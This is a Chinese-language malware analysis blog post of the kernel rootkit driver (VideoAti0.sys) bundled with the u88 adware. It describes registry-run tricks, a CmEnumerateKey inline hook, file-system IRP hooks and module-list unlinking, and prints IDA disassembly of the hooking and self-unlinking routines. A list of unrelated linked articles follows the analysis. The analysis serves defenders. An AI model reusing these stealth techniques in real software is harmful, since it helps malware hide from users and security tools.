u88财富快车流氓软件RK驱动分析
BY mj0011
u88财富快车流氓软件RK驱动分析
RK部分一共三个文件
VideoAti0.sys
VideoAti0.dll
VideoAti0.exe
驱动部分是BOOT0的,主要干了这么些事:
1.建立CreateProcessNotifyRoutine,检测到userinit.exe加载后就修改注册Run项目,以启动VideoAti0.exe,VideoAtio0.exe启动后会删除自己的RUN项目,并注入VideoAti0.dll,导致启动后无法发现其启动项目
2.Hook CmEnumerateKey,隐藏VedioAti0.sys的服务项,Is,gmer,rku等无法检测到
通过CreatePrcoessNotifyRoutine检测到是如下进程调用CmEnumerateKey时,会恢复自己的HOOK,企图蒙混过关:D
fhs.exe,knlsc13.exe
3.Hook FSD Dispatch Routine,Hook了/FileSystem/Ntfs,和/FileSystem/FastFat的IRP_MJ_CREATE和IRP_MJ_DIRECTORY_FILE,根据默认规则库会首先过滤
VideoAti0.sys
VideoAti0.dll
VideoAti0.exe
无法列出他们
规则库还可以通过R3向R0添加
4.从PsLoadMoudleList移除了自身,使得IS,gmer等工具无法检测到它,gmer可检测到 FSD HOOK,也检测不到是哪个module作了HOOK
后来R3的规则好象很BT,系统登陆后加载任何位置的driver都会失败:D
分析后的idb文件见压缩包,和读源代码没什么区别了
摘点代码
.text:000112D4 NewCMEnumerateKey proc near ; DATA XREF: ReadyHardCodeAndHook+1DBo
.text:000112D4 ; NewCMEnumerateKey+14Co
.text:000112D4
.text:000112D4 var_24 = byte ptr -24h
.text:000112D4 NewIrql = byte ptr -1
.text:000112D4 arg_0 = dword ptr 8
.text:000112D4 arg_4 = dword ptr 0Ch
.text:000112D4 arg_8 = dword ptr 10h
.text:000112D4 arg_C = dword ptr 14h
.text:000112D4 arg_10 = dword ptr 18h
.text:000112D4 arg_14 = dword ptr 1Ch
.text:000112D4
.text:000112D4 push ebp
.text:000112D5 mov ebp, esp
.text:000112D7 sub esp, 24h
.text:000112DA push ebx
.text:000112DB push esi
.text:000112DC push edi
.text:000112DD call ds:KeRaiseIrqlToDpcLevel
.text:000112E3 mov [ebp+NewIrql], al
.text:000112E6 call WP_OFF
.text:000112E6
.text:000112EB pushf
.text:000112EC pusha
.text:000112ED lea esi, unk_14390
.text:000112F3 mov edi, CmEnumerateKeyAddress
.text:000112F9 mov ecx, 6
.text:000112FE cld
.text:000112FF rep movsb
.text:00011301 popa
.text:00011302 popf
.text:00011303 call WP_ON
.text:00011303
.text:00011308 mov cl, [ebp+NewIrql] ; NewIrql
.text:0001130B call ds:KfLowerIrql
.text:00011311 push [ebp+arg_14]
.text:00011314 mov ebx, [ebp+arg_C]
.text:00011317 mov esi, [ebp+arg_4]
.text:0001131A push [ebp+arg_10]
.text:0001131D add esi, dword_14374
.text:00011323 push ebx
.text:00011324 push [ebp+arg_8]
.text:00011327 push esi
.text:00011328 push [ebp+arg_0]
.text:0001132B call OldcmEnumerateKey
.text:00011331 test eax, eax
.text:00011333 mov [ebp+arg_4], eax
.text:00011336 jge short loc_11342
.text:00011336
.text:00011338 cmp eax, 8000001Ah
.text:0001133D jmp loc_113FF
.text:0001133D
.text:00011342 ; ---------------------------------------------------------------------------
.text:00011342
.text:00011342 loc_11342: ; CODE XREF: NewCMEnumerateKey+62j
.text:00011342 lea eax, [ebp+var_24]
.text:00011345 push eax ; char *
.text:00011346 call GetCurrentCallProcess
.text:00011346
.text:0001134B mov edi, ds:_stricmp
.text:00011351 lea eax, [ebp+var_24]
.text:00011354 push offset s_Fhs_exe ; "fhs.exe"
.text:00011359 push eax ; char *
.text:0001135A call edi ; _stricmp
.text:0001135C pop ecx
.text:0001135D test eax, eax
.text:0001135F pop ecx
.text:00011360 jnz short loc_1136D
.text:00011360
.text:00011362 lea eax, [ebp+var_24]
.text:00011365 push eax
.text:00011366 push offset s_ProcessnameS ; "ProcessName:%S/n"
.text:0001136B jmp short loc_11387
.text:0001136B
.text:0001136D ; ---------------------------------------------------------------------------
.text:0001136D
.text:0001136D loc_1136D: ; CODE XREF: NewCMEnumerateKey+8Cj
.text:0001136D lea eax, [ebp+var_24]
.text:00011370 push offset s_Knlsc13_exe ; "knlsc13.exe"
.text:00011375 push eax ; char *
.text:00011376 call edi ; _stricmp
.text:00011378 pop ecx
.text:00011379 test eax, eax
.text:0001137B pop ecx
.text:0001137C jnz short loc_11390
.text:0001137C
.text:0001137E lea eax, [ebp+var_24]
.text:00011381 push eax
.text:00011382 push offset s_Processname_0 ; "ProcessName:%S/n"
.text:00011382
.text:00011387
.text:00011387 loc_11387: ; CODE XREF: NewCMEnumerateKey+97j
.text:00011387 call DbgPrint
.text:00011387
.text:0001138C pop ecx
.text:0001138D pop ecx
.text:0001138E jmp short StopHook
.text:0001138E
.text:00011390 ; ---------------------------------------------------------------------------
.text:00011390
.text:00011390 loc_11390: ; CODE XREF: NewCMEnumerateKey+A8j
.text:00011390 mov edi, dword_1439C
.text:00011390
.text:00011396
.text:00011396 loc_11396: ; CODE XREF: NewCMEnumerateKey+EFj
.text:00011396 cmp edi, offset HideReg
.text:0001139C jz short StopHook
.text:0001139C
.text:0001139E test edi, edi
.text:000113A0 jz short StopHook
.text:000113A0
.text:000113A2 push dword ptr [edi-8] ; wchar_t *
.text:000113A5 call ds:wcslen
.text:000113AB push eax ; size_t
.text:000113AC lea eax, [ebx+10h]
.text:000113AF push eax ; wchar_t *
.text:000113B0 push dword ptr [edi-8] ; wchar_t *
.text:000113B3 call ds:_wcsnicmp
.text:000113B9 add esp, 10h
.text:000113BC test eax, eax
.text:000113BE jz short loc_113C5
.text:000113BE
.text:000113C0 mov edi, [edi+4]
.text:000113C3 jmp short loc_11396
.text:000113C3
.text:000113C5 ; ---------------------------------------------------------------------------
.text:000113C5
.text:000113C5 loc_113C5: ; CODE XREF: NewCMEnumerateKey+EAj
.text:000113C5 push dword ptr [edi-8]
.text:000113C8 push offset s_FoundHideregS ; "Found HideReg:%S/n"
.text:000113CD call DbgPrint
.text:000113CD
.text:000113D2 pop ecx
.text:000113D3 inc esi
.text:000113D4 pop ecx
.text:000113D5 mov dword_14374, 1
.text:000113DF push [ebp+arg_14]
.text:000113E2 push [ebp+arg_10]
.text:000113E5 push ebx
.text:000113E6 push [ebp+arg_8]
.text:000113E9 push esi
.text:000113EA push [ebp+arg_0]
.text:000113ED call OldcmEnumerateKey
.text:000113F3 test eax, eax
.text:000113F5 mov [ebp+arg_4], eax
.text:000113F8 jge short StopHook
.text:000113F8
.text:000113FA cmp eax, 8000001Ah
.text:000113FA
.text:000113FF
.text:000113FF loc_113FF: ; CODE XREF: NewCMEnumerateKey+69j
.text:000113FF jnz short StopHook
.text:000113FF
.text:00011401 and dword_14374, 0
.text:00011401
.text:00011408
.text:00011408 StopHook: ; CODE XREF: NewCMEnumerateKey+BAj
.text:00011408 ; NewCMEnumerateKey+C8j
.text:00011408 ; NewCMEnumerateKey+CCj
.text:00011408 ; NewCMEnumerateKey+124j
.text:00011408 ; NewCMEnumerateKey:loc_113FFj
.text:00011408 call ds:KeRaiseIrqlToDpcLevel
.text:0001140E mov [ebp+NewIrql], al
.text:00011411 call WP_OFF
.text:00011411
.text:00011416 pusha
.text:00011417 mov edi, CmEnumerateKeyAddress
.text:0001141D mov al, 68h
.text:0001141F stosb
.text:00011420 lea eax, NewCMEnumerateKey
.text:00011426 stosd
.text:00011427 mov al, 0C3h
.text:00011429 stosb
.text:0001142A popa
.text:0001142B call WP_ON
.text:0001142B
.text:00011430 mov cl, [ebp+NewIrql] ; NewIrql
.text:00011433 call ds:KfLowerIrql
.text:00011439 mov eax, [ebp+arg_4]
.text:0001143C pop edi
.text:0001143D pop esi
.text:0001143E pop ebx
.text:0001143F leave
.text:00011440 retn 18h
.text:00011440
.text:00011440 NewCMEnumerateKey endp
.text:00011794 RemoveMyselfFormPsLoadModuleLIst proc near ; CODE XREF: start:loc_1049Fp
.text:00011794
.text:00011794 var_208 = word ptr -208h
.text:00011794
.text:00011794 push ebp
.text:00011795 mov ebp, esp
.text:00011797 sub esp, 208h
.text:0001179D and [ebp+var_208], 0
.text:000117A5 push esi
.text:000117A6 push edi
.text:000117A7 mov ecx, 81h
.text:000117AC xor eax, eax
.text:000117AE lea edi, [ebp-206h]
.text:000117B4 rep stosd
.text:000117B6 stosw
.text:000117B8 mov eax, PsLoadedModuleList
.text:000117BD mov edi, [eax]
.text:000117BF mov esi, edi
.text:000117BF
.text:000117C1
.text:000117C1 loc_117C1: ; CODE XREF: RemoveMyselfFormPsLoadModuleLIst+88j
.text:000117C1 cmp dword ptr [esi+20h], 0
.text:000117C5 jz short loc_11816
.text:000117C5
.text:000117C7 push dword ptr [esi+28h] ; VirtualAddress
.text:000117CA call ds:MmIsAddressValid
.text:000117D0 test al, al
.text:000117D2 jz short loc_11816
.text:000117D2
.text:000117D4 mov eax, [esi+28h]
.text:000117D7 test eax, eax
.text:000117D9 jz short loc_11816
.text:000117D9
.text:000117DB movzx ecx, word ptr [esi+24h]
.text:000117DF shr ecx, 1
.text:000117E1 push ecx ; size_t
.text:000117E2 push eax ; wchar_t *
.text:000117E3 lea eax, [ebp+var_208]
.text:000117E9 push eax ; wchar_t *
.text:000117EA call ds:wcsncpy
.text:000117F0 lea eax, [ebp+var_208]
.text:000117F6 push eax ; wchar_t *
.text:000117F7 call ds:_wcslwr
.text:000117FD lea eax, [ebp+var_208]
.text:00011803 push offset s_Videoati0 ; "videoati0"
.text:00011808 push eax ; wchar_t *
.text:00011809 call ds:wcsstr
.text:0001180F add esp, 18h
.text:00011812 test eax, eax
.text:00011814 jnz short loc_1181E
.text:00011814
.text:00011816
.text:00011816 loc_11816: ; CODE XREF: RemoveMyselfFormPsLoadModuleLIst+31j
.text:00011816 ; RemoveMyselfFormPsLoadModuleLIst+3Ej
.text:00011816 ; RemoveMyselfFormPsLoadModuleLIst+45j
.text:00011816 mov esi, [esi]
.text:00011818 cmp esi, edi
.text:0001181A jz short loc_11828
.text:0001181A
.text:0001181C jmp short loc_117C1
.text:0001181C
.text:0001181E ; ---------------------------------------------------------------------------
.text:0001181E
.text:0001181E loc_1181E: ; CODE XREF: RemoveMyselfFormPsLoadModuleLIst+80j
.text:0001181E mov eax, [esi]
.text:00011820 mov esi, [esi+4]
.text:00011823 mov [eax+4], esi
.text:00011826 mov [esi], eax
.text:00011826
.text:00011828
.text:00011828 loc_11828: ; CODE XREF: RemoveMyselfFormPsLoadModuleLIst+86j
.text:00011828 pop edi
.text:00011829 pop esi
.text:0001182A leave
.text:0001182B retn
.text:0001182B
.text:0001182B RemoveMyselfFormPsLoadModuleLIst endp
u88财富快车流氓软件RK驱动分析相关推荐
- RK3399平台开发系列讲解(内核驱动外设篇)6.21、RK LCD显示驱动分析(fb和screen 部分程序)
平台 内核版本 安卓版本 px3 Linux3.0 Android7.1 查看设备: ls /sys/devices/platform display驱动分析: RK LCD这块首先分为四大块相互依赖 ...
- android 6.0 电池曲线,Android6.0 RK3399 电池系统(一)BQ25700 IC 驱动分析 · Younix’s Studio...
8种机械键盘轴体对比 本人程序员,要买一个写代码的键盘,请问红轴和茶轴怎么选? Platform: RK3399 OS: Android 6.0 Kernel: 4.4 Version: v2017. ...
- Linux USB 3.0驱动分析—UAC驱动分析
转自 https://www.cnblogs.com/wen123456/p/14281917.html 因为项目里面有USB音频外设,所以需要分析一下UAC驱动. USB Audio Class,U ...
- 我为何坐不上财富快车 四招助你快速赚钱
"财富列车"之储蓄篇 强制储蓄是致富之本 合理的储蓄规划是财富积累的良好开端.不过,这并不意味着,只要循规蹈矩地储蓄,就可以高枕无忧.依靠积极投资,我们才能真正坐上财富快车,在复利 ...
- 上周技术关注:流氓软件及反流氓软件的技术分析
[WEB开发, IIS, 性能] 一些重要的计数器 >> 分析性能日志的时候,我会重点观察下面这些计数器 [开发工具, Javascript] 不可多得的Javascript(AJAX)开 ...
- linux串口驱动分析
linux串口驱动分析 硬件资源及描写叙述 s3c2440A 通用异步接收器和发送器(UART)提供了三个独立的异步串行 I/O(SIO)port,每一个port都能够在中断模式或 DMA 模式下操作 ...
- 【转】android电池(四):电池 电量计(MAX17040)驱动分析篇
关键词:android 电池 电量计 MAX17040 任务初始化宏 power_supply 平台信息: 内核:linux2.6/linux3.0 系统:android/android4.0 ...
- Android10.0 Binder通信原理(五)-Binder驱动分析
摘要:本节主要来讲解Android10.0 Binder的驱动层分析 阅读本文大约需要花费35分钟. 文章首发微信公众号:IngresGe 专注于Android系统级源码分析,Android的平台设计 ...
- linux 串口驱动 atmel_set_mctrl何时调用,linux uart serial使用驱动分析
uart tty serial 驱动分析 内核版本3.14.23 以atmel为例: 起点: static int __init atmel_serial_init(void) { int ret; ...
最新文章
- Javascript中闭包的作用域链
- 在ASP.NET中创建自定义控件初步(转)
- ActiveMQ的queue以及topic两种消息处理机制分析
- spark 应用程序性能优化:12 个优化方法
- 查看一个定义的方法在哪些地方被使用过(vs2008)
- android 免root 模拟器,真正免root的Droidwall详细使用教程
- 02 | 日志系统:一条SQL更新语句是如何执行的? 笔记(转)
- Flutter基础—开发环境与入门
- IDEA 编译时 报 “常量字符串过长” 解决办法
- Java中字符(串)和数值类型的转换
- access 英语什么意思_access是什么意思_access怎么读_access翻译_用法_发音_词组_同反义词_入口_出口-新东方在线英语词典...
- Python实现自动通关别踩白块儿
- 为什么视频无法播放,视频无法播放的原因是什么
- fastboot 操作
- PID微分器与滤波器的爱恨情仇
- 树莓派(Raspberry pi) 使用Pi Imager安装烧录操作系统
- 2个DIV制作十字架
- 人的思想的成长过程是一个潜意识不断成长并替代思维完成细节工作的过程
- win10自带输入法总是莫名奇妙变繁体
- 从战争到外包软件开发:如何赢得最后胜利
热门文章
- 高等数学以及Python 实现
- 手机信号推流到rtmp服务器,大概是最简单的 rtmp 推流服务器搭建方法
- MATLAB 实现AES加解密
- python 直线过滤掉不在边缘上的点_家庭养花,自制4种“杀虫水”,不生虫不生病,长得花繁叶茂!...
- 机器学习cnn_CNN和Fox新闻真的有偏见吗? 机器学习研究。
- unity3d中给Text添加艺术字效果的特效
- java io 流选择题_java IO流(习题)
- Staking新玩法:锁仓的币也能卖
- nyoj-277-车牌号
- 基于JAVA基于网络平台个人博客系统计算机毕业设计源码+系统+lw文档+部署